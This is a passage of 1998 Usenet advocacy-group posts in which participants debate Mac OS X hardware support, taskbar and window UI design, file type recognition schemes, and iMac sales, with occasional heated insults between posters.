file over and bring it back to your computer, the OS would not have to
recheck the type of all the files one ther Zip. It would only have to
check the type of the file(s) that were copied over by another machine.
Now, problems will occur with network volumes. Right at the moment, I do
not have a solution, though I'm sure there are some. (I have a couple
ideas brewing in my head, but they aren't developed enough for me to voice
them yet).
Do you think this would be a bad system? Aside from the network volume
issue (which may be significant), do you see any serious or even minor
problems? Do you think that (ignoring the network volumes issue a moment)
this would present a significant advantage over the current system?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 14:33:22 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net>
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In-Reply-To: <joe.ragosta-2907980846230001@wil64.dol.net>
On Wed, 29 Jul 1998, Joe Ragosta wrote:
> In article <Josh.McKee-2807981805580001@pm3a10.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > In article <joe.ragosta-2607982033560001@elk91.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
<snip>
> > We're not talking about running Mac OS X on a IIsi Joe, we're talking
> > about running it on very recent hardware which was only recently
> > discontinued. Combine that with no real reason why this OS couldn't run
> > on these systems, and it makes it that much worse.
>
> There _is_ a reason. It's been explained over and over. The cost of
> putting Mac OS X onto older hardware and supporting it is too high for
> Apple in its current condition to support.
The monetary costs should not be a reason for several reasons that I've
stated before. I don't see that as a valid excuse.
Possibly the time cost would be significant, but even that I tend to
doubt for reasons that I've stated several times before.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 14:30:05 -0500
Organization: Ericsson Inc.
Message-ID: <35C0C9BD.6399ED2@exu.ericsson.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se> <6pqf48$98j$1@news.spacelab.net>
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Charles W. Swiger wrote:
> Excuse me? Window and app tiles do _not_ look or behave identically.
>
> Specificly, window tiles have a black bar at the top of the icon which
> contains the title of the window. Double-clicking a window tile un-minimizes
> just that window; double-clicking an app tile makes the app active and
> unhides any hidden windows associated with that app.
I stand corrected. Window and app tiles do not look *identical*. They
look *almost* identical.
But I do have a slight problem, or rather you do: you can't seem to
differentiate between a widget's behavior and its action. The actions
associated with window tiles and application tiles are totally
different, that's the whole point. They *behave* identically, just as
most pushbuttons *behave* the same but usually have dramatically
different *actions*.
[cut]
> Is this inconsistent? A better question. Is it inconsistent for file and
> folder icons (under MacOS, Windows, etc) to be the same size and behave
> similiarly to many operations, like copying, moving, deleting (move to the
> trash/recycler/whatever), and yet also have somewhat different behavior (such
> as dragging something into them)?
Of course not. The behavior of folder icons is different from the
behavior of normal file icons because they are different. But of course
you typed all of this while still under the misapprehension that widget
behavior and widget actions are the same thing. Then again, perhaps you
chose folder/file icons purposely because these widgets are heavily
overloaded and tend to blur the line between action and behavior.
Whatever it is, I'll leave it to you to determine the source of your
misunderstanding.
> References?
>
> You seem to be quite good at making sweeping generalizations,
Yes, I am, aren't I, Chuck?
> yet you never
> seem to be able to back them up with specific quotes. Show me quotes from
> two or more experienced NEXTSTEP users who have claimed that app and window
> tiles are identical.
Uh...I was the one who said they were identical. You're confused. Take a
sip of water and a deep breath.
> You mean you don't see any connection between the default icon size and the
> nominal screen size & resolution that OS was designed for?
You're a perfect case in point, as ever, Chuck. Icon size was never a
part of the discussion context, but that doesn't seem to get in your
way. I couldn't have made the point clearer.
> Remarkable-- I agree completely.
No, it's not remarkable, nor is anything I said in that paragraph. You
picked just about the most obvious thing in my entire post to agree
with. Congratulations.
[cut]
> You can do meaningful and worthwhile criticisms; too bad that you can't
> refrain from degrading your earlier remarks by descending to this level.
Ah, the remorse I feel! I could have had something approaching respect
from Chuck Swiger if *only* I'd been nicer! Dammit, foiled again.
There's nothing I covet so much as a word of praise from you.
> NEXTSTEP is an *operating* *system*, for pity's sake!!!
>
> It's nothing but computer software, written by a bunch of programmers who
> didn't harm or kill anyone in the process. Associating NeXT with the
> atrocities of Nazi Germany is so far out of proportion that there's obviously
> something wrong, something unbalanced with your personality.
It's true then; there are certain people who will ensure the death of
normal discussion upon the mention of the word 'Nazi'. That it's so
repeatably true is one of the remarkable oddities of USENET. Pavlov
strikes again among the lower vertebrates among us.
> Do your mental health a favor and go read some other newsgroup where you
> don't feel this frenzied, pathological hatred for the primary topic.
> Frankly, I doubt many of the readers of this newgroup really want to deal
> with this kind of offensive bullshit. I know I don't.
Do me a favor, and fuck off. And have a nice day. :-)
MJP
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 30 Jul 1998 14:38:37 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu>
References: <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net>
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In-Reply-To: <joe.ragosta-2907980926260001@wil64.dol.net>
On Wed, 29 Jul 1998, Joe Ragosta wrote:
> In article <35BF17D2.C02B6554@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Matt Kennel wrote:
> >
<snip>
> > Mach 3 already runs on PCI Macs. You are just trying to complicate the
> > issue by
> > suggesting that mysteriously that Apple's Mach kernal will be vastly different
> > from the other PPC Mach kernals. It won't be --- it'll be basically the same
> > thing, industrial grade no doubt, but the technology involved is the same.
>
> Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
> easiest part of the job. When you can show Yellow Box and IOkit and Blue
> Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
> argument.
Umm... you aren't helping your position. The kernel interface from the
higher levels is the same on any machine whether it is a PowerMac G3,
PowerBook G3, or PowerMac 8500/120. The Yellow Box, Blue Box, Carbon, and
PDF do not care about the underlying hardware much beyond "is it PowerPC?"
The only thing that will matter is the IOKit and that is the thing used to
build the actual drivers for the machines that represent part of the
interface seen by the other components you mention.
So, _YEAH_ Getting the kernel to run _is_ probably the easiest part of the
job. Why is it that Apple refuses to say that it is even considering it?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <joe.ragosta-3007980839550001@wil34.dol.net> <6pqa01$rms$1@plo.sierra.com>
Message-ID: <35c0cd24.0@news.depaul.edu>
Date: 30 Jul 98 19:44:36 GMT
In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> Well, since the new processor is backwards compatible with the old one,
> that's a poor reason. And this "new motherboard" as many have pointed out,
> is extemely similar to older motherboards, with minor modifications, so
> there's another poor reason.
Minor modifications that Be can't figure out?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 14:57:31 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730144109.22326C-100000@ux5.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2807981015140001@news> <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2907980939480001@news>
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On Wed, 29 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Tue, 28 Jul 1998, Andy Bates wrote:
> >
<snip>
> > You are misunderstanding what I'm trying to say. It is not the closing of
> > all windows quitting the program that is the solution. That is the
> > behavior forced by Windows' design. What solves the problem I'm talking
> > about is having the task bar.
<snip>
> Your complaint about the Mac OS is that you don't have a clear indication
> of what's running. Well, if you added a Windows taskbar to the Mac OS, you
> stil wouldn't solve the problem, because you could have a running
> application that has no open windows, and hence doesn't show up on the
> taskbar. Therefore, having the task bar does not solve the problem.
You're just being silly.
You are talking about using the exact same Windows behavior on the Mac OS
and that is _not_ what I was talking about. From a user perspective,
windows often _are_ applications on Windows. This is horrible UI, but that
is the way Windows is. Therefore having the taskbar to indicate open
windows is the same as having a taskbar that indicates open applications.
When you close all the windows of an app in Windows, you _have_ quit the
app since the windows are a representation of the application. There is a
metaphor here that doesn't quite work, but that is how Windows is.
Now, if you want to guess how a taskbar on the Macintosh would behave
based on how Windows behaves, you would (or should) logically guess that
every application would get a button on the taskbar on the Mac.
Since the windows in the Mac OS are not the applications and are not meant
in any way to be a representation of the application (if anything, the
menubar is), then making the taskbar show open _windows_ as opposed to
_applications_ would be truly dumb. This would be especially dumb for the
purpose of replacing the Application Menu!
<snip>
> > Look! I am _not_ defending Windows! Get off it! If you are going to strike
> > my argument down because Windows is crappy, then we have no further basis
> > for discussion.
>
> Look! I am not criticizing Windows! I am just saying that the taskbar works
> ONLY because a running application almost always has at least one open
> window. That is how it works.
This is because the open windows are supposed to be representations of
applications. It rapidly falls apart, but that is the philosopy. That is
the metaphor.
> > There is an obvious parallel to what is done on Windows and what could be
> > done on the Mac. Buttons on a Mac task bar would not represent windows,
> > but applications. Duh!
>
> This is the first time you mentioned this idea.
I seriously thought it was blatantly obvious. I guess not.
> > > Now, what were you complaining about again? How Apple doesn't make
> > > incremental changes to the OS? How Apple can't come up with UI
> > > improvements?
> >
> > If it's there in Mac OS 8.5 and it works well, that great.
>
> It does. It is.
>
> > We do not have it yet.
>
> Speak for yourself.
I speak for myself and the _vast_ majority of Mac users everywhere.
Mac OS 8.5 has not been released. If you have it and you aren't a
registered developer, then you have it illegally. If you are commenting on
it through personal experience, either you or a friend of yours is
breaking the NDA.
> > You can knock off that smarmy questioning too.
>
> Well, you complain about how Apple isn't making major UI changes, and then
> half of your suggestions are already in the next release. I think you
> deserve a little ribbing.
We'll see what the next release of the OS has. I will be very happy if it
addresses some or all of these things. I think it would be wonderful.
Really!
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Message-ID: <jpolaski-2907982209120001@d150-11.ce.mediaone.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <joe.ragosta-2907981404250001@wil73.dol.net>
Date: Thu, 30 Jul 1998 03:02:46 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 22:02:46 CDT
Organization: MediaOne Express -=- Central Region
In article <joe.ragosta-2907981404250001@wil73.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> I should have saved the URL because I couldn't find it, but one of the Mac
> sites quoted a CompUSA store manager who said that in his store, there
> were over half as many iMac preorders (with $250 deposit) in two days as
> there were Win98 preorders in several weeks.
>
> Hmm. Only a couple of days to get 1/2 as many orders as Win98? When Win95
> has so much higher market share? And when you're comparing a $90 software
> product to a $1300 hardware product?
======
the quote was in yesterday's news on ww.maccentral.com
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
....the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 14:55:00 -0500
Organization: Ericsson Inc.
Message-ID: <35C0CF94.F375BE52@exu.ericsson.se>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <joe.ragosta-3007980839550001@wil34.dol.net> <6pqa01$rms$1@plo.sierra.com> <35c0cd24.0@news.depaul.edu>
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Jonathan W Hendry wrote:
>
> In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
>
> > Well, since the new processor is backwards compatible with the old one,
> > that's a poor reason. And this "new motherboard" as many have pointed out,
> > is extemely similar to older motherboards, with minor modifications, so
> > there's another poor reason.
>
> Minor modifications that Be can't figure out?
You honestly can't tell the difference between supporting minor
modifications and having to reverse-engineer (possibly illegal) those
same modifications? Hm.
MJP
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 20:03:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pqji9$ptv$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net> <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com>
In article <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> IMHO, Windows 95's multitasking is a bit better than the Mac's. Not a
> whole lot, but a bit better.
I think that the difference is significant but I respect your opinion.
> The general Mac user experience, IMHO, is a better than the Windows 95
> user experience. It's not as much better than it used to be, but still
> better.
I think that the total Windows 95 experience is as good as the Mac OS
experience. Apple is the stupidest company in the world for letting Microsoft
catch up to them. When they shipped System 7 it was like they thought that
they had made the ultimate operating system and major changes weren't needed
anymore. Now they have lost a lot of market share and had to buy NeXT to
regain the technological advantage. If they had done that in the late 80's
then (ignoring the possibility of brutally incompetant management) the OS
scene might be very different.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 19:57:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pqj6s$pf9$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net> <joe.ragosta-3007980855070001@wil34.dol.net>
In article <joe.ragosta-3007980855070001@wil34.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> His point is that Win95 even with what you call 'true multitasking' will
> also do the same thing.
No it won't. Windows 95 will still allow you to run other programs. These
programs may, however, cause the CD write to fail. There is nothing that the
operating system can do about this except offer some CPU and I/O banding
gaurantee. Realtime operating systems let you do this.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 20:14:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pqk6v$qs5$1@nnrp1.dejanews.com>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net>
In article <joe.ragosta-3007981241560001@wil44.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> But you still have to get YB, BB, PDF and IOkit to work with the new kernel.
Very true but you would have to do that anyway. The kernel is hardware
dependant and so is the IOkit. Everything else is layered above those two
things so they don't have to deal directly with hardware. So all you have to
do is port the kernel and IOkit and everything should be peachy.
Look at it this way: when you want to port a OpenStep application to a new
platform what do you do? Just recompile it. Why can you do that? Because your
application sits above the layer that deals directly with hardware. Just as
YB, BB and PDF sit above the layer (kernel + IOkit) that deals directly with
hardware.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com>
Message-ID: <35c0de11.0@news.depaul.edu>
Date: 30 Jul 98 20:56:49 GMT
In comp.sys.next.advocacy quinlan@my-dejanews.com wrote:
> In article <joe.ragosta-3007981241560001@wil44.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > But you still have to get YB, BB, PDF and IOkit to work with the new kernel.
> Very true but you would have to do that anyway. The kernel is hardware
> dependant and so is the IOkit. Everything else is layered above those two
> things so they don't have to deal directly with hardware. So all you have to
> do is port the kernel and IOkit and everything should be peachy.
> Look at it this way: when you want to port a OpenStep application to a new
> platform what do you do? Just recompile it. Why can you do that? Because your
> application sits above the layer that deals directly with hardware. Just as
> YB, BB and PDF sit above the layer (kernel + IOkit) that deals directly with
> hardware.
My concern is that fixes and work-arounds Apple has developed for
their hardware designs may be very MacOS-specific, and won't
translate well to the new OS. Apple would then have to find and
fix many bugs all over again, with entirely new code in the
Mach/IOKit paradigm (buzzword Bingo! ;) ).
If all the old model-specific bugs and quirks, and their fixes, are
well-documented, this may not be too bad. I doubt that's the
case, especially for issues that came up prior to release,
which were fixed on-the-fly in the heat of development.
If they were to extend support to these pre-G3 machines, I'd
bet that the first few releases of OS/X would include a lot of
old 'favorites', hardware-based bugs that went away before,
reappearing, causing another round of bughunting/testing/releasing.
They could do this, but I'm still not convinced it's a good use
of resources.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: biggus.FILTER@colorado.edu (jeff)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Thu, 30 Jul 1998 14:59:59 -0700
Organization: Univ of Colorado, Boulder
Message-ID: <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com> <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net>
In article <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <35BF591A.A125BBDB@erols.com>, phillip craig brisco
><pbrisco@erols.com> wrote:
>
>> As far as A) above, I don't know. BUT, on b), take the pII with, say,
>up to 10%
>> faster clock rate than an equivalent G3. Now, which is faster?
>
>Why take a p2 that is only %10 faster when a p2 compupter at even %50
>faster would STILL be cheaper than the g3???
still not as fast, even upped by 50%, than a g3 _for most applications_.
For something like mathematica, I would buy the far cheaper 604e (less
than comparable p2 and g3) which outperforms both the p2 and the g3 for
math at given MHz. when looking at chip/system prices, the 604e is the
math winner, the g3 the winner for most other apps. The new motorola chips
should out shine all of the above for both fp and int at less price and
less power. (note: p2s run terribly hot, and the xeon is worse and *much*
more expensive than all these chips.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI: file type recognition
Date: Thu, 30 Jul 1998 16:08:24 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730154521.22326E-100000@ux5.cso.uiuc.edu>
References: <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu> <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net> <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu> <1dczbao.1pm2c5214jvea0N@hoorn21.multiweb.net>
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On Thu, 30 Jul 1998, Dennis SCP wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Hmm.. well. I still think it's doable (with my total lack of experience in
> > such matters ;)
>
> So let's sum it up:
I have a more adequate explanation of the concept in another post
Message-ID: <Pine.SOL.3.96.980730110600.4469B-100000@ux8.cso.uiuc.edu>
> It seems a nice idea but:
>
> It does not solve the problem with sharing files over the internet as
> everthing remains platform dependent.
Actually, it does. If an application can open a downloaded file from the
internet, the OS will know despite the lack or even presence any .xxx or
type/creator code.
> Working from a non Mac server would get a major bottleneck, as every
> file has to be checked every time. (File types are not stored on
> NT/Unix, and Mac users are not forced to use extensions (.doc) as the
> checking system is supposedly fully transparent to the user)
I was thinking about this. This _does_ represent a problem. One thing I
will point out though is that the file extension could be used as a cue
for what kind of file it is. Seeing a .doc would mean that the OS would
not have to search through all the file types that would have a .jpg or
.wav, but perhaps just the text file formats, and it could even start with
Microsoft applications if there any installed.
It doesn't have to be clueless as to what the file extension is. It just
shouldn't use that as the only identifier. Further, if after poking into
the file, it conforms with text, the OS would not have to search every
non-text format first.
> The plug-in structure means a never-ending cycle of writing plug-ins
> that comply with the system file recognizer.
I suppose if the file recognizer were constantly being redone, then yeah.
If it were well thought out in the first place, that would not be very
necessary.
> The more I think about it the more it looks like a good MS solution
> (better preformance when standardizing on one platform, pretty good
> overhead on older systems as your friends start dropping extensions,
> thus forcing users to upgrade and standardize)
>
> It's a huge fix opperation on something that can be dealed with at a
> much lower, simpler and faster level.
Possibly and probably, but I somehow doubt MS's or even Apple's ability to
push such a standard to acceptance.
Actually, that could easily integrate in with what I propose.
> A) A free, open and expandable header format in each file itself, used
> by both Apple and MS (and the rest of the world will follow). I heared
> OLE (MS) documents already work this way crossplatform.
Something like this would be optimal.
> B) If A fails use invisible extensions in the filenames on Mac OS.
> MS already uses extensions in a big way but Mac users don't want to be
> forced to see "Project unity" as "Project unity.TX3" or whatever. So why
> not over do it and just don't show it, let a Mac file be named
> Project_unity..Apwk.TEXT.doc
> on the PC while on the Mac you created
> Project unity
> with AppleWorks (with Apwk as made up creator type) and saved as text
> file (TEXT) and .doc created by the OS for crossplatform compatibilty.
Eew. I don't like that at all. :(
> If Apple just sets a standard on an expandable extension structure in
> filenames it would work instantly on Unix and Win. It may not look very
> cool at first on those systems, but they are already used to dealing
> with those ugly (much to informative) names and a program that doesn't
> show those indentifiers is quickly made.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 14:12:10 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E62FBC-76EF3@206.165.43.16>
References: <6ppkjd$lfr$1@nnrp02.primenet.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy
John Jensen <jjens@primenet.com> said:
>I am groggy this morning, but I will try to explain. The first text-only
>versions of HTML were especially primative in comparison to OpenDoc. The
>thing is, that text version thrived and grew, even without corporate
>sponsorship. Technologies attached themseleves to HTML over time. We've
>gotten to the point where you can create a web page that matches most any
>OpenDoc page, it's just a lot harder. Some "standard" Java applets are
>available, but most often everything has to be created from scratch. The
>proeccess is not remotely WYSIWYG. A web page has the added benefit of
>easy net distribution, but it certainly has no advantages in ease of use
>over OpenDOc.
But OpenDoc was meant to allow end-users to *edit* multi-faceted content.
There's no way of doing that with HTML.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 13:22:04 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981322040001@news>
